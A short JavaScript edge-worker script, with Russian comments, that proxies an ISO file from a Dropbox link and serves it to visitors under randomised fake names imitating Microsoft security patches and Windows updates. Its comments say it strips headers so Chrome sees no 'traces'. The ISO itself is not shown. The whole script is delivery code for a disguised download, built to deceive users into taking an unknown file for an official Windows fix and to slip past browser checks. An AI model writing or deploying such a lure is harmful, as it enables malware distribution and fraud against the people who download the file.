export default { async fetch(request) { // 1. Твоя прямая ссылка на файл (ВАЖНО: в конце должно быть dl=1) const dropboxUrl = "https://www.dropbox.com/scl/fi/00xpf7rub8hpmvkhhrz29/System_Integrity_Fix.iso?rlkey=t9f7lxhuf15dsi3syrbjybcaa&st=jmpwkgxv&dl=1"; // 2. Список официальных названий const baseNames = [ "Win_Security_Patch_KB", "System_Integrity_Fix_v", "Windows_Critical_Update_Build", "Microsoft_Service_Restore_v", "Win_OS_Repair_Tool_ID" ]; // 3. Выбираем случайное имя и добавляем 5 случайных цифр const randomBase = baseNames[Math.floor(Math.random() * baseNames.length)]; const randomNum = Math.floor(10000 + Math.random() * 90000); const fileName = `${randomBase}${randomNum}.iso`; // 4. Запрашиваем файл у Dropbox const response = await fetch(dropboxUrl); // 5. Копируем заголовки и подменяем имя файла const newHeaders = new Headers(response.headers); newHeaders.set("Content-Disposition", `attachment; filename="${fileName}"`); // Удаляем мусорные заголовки, чтобы Хром не видел "следов" newHeaders.delete("x-robots-tag"); newHeaders.delete("content-security-policy"); newHeaders.set("Cache-Control", "no-store"); // 6. Отдаем файл пользователю return new Response(response.body, { status: response.status, headers: newHeaders }); } };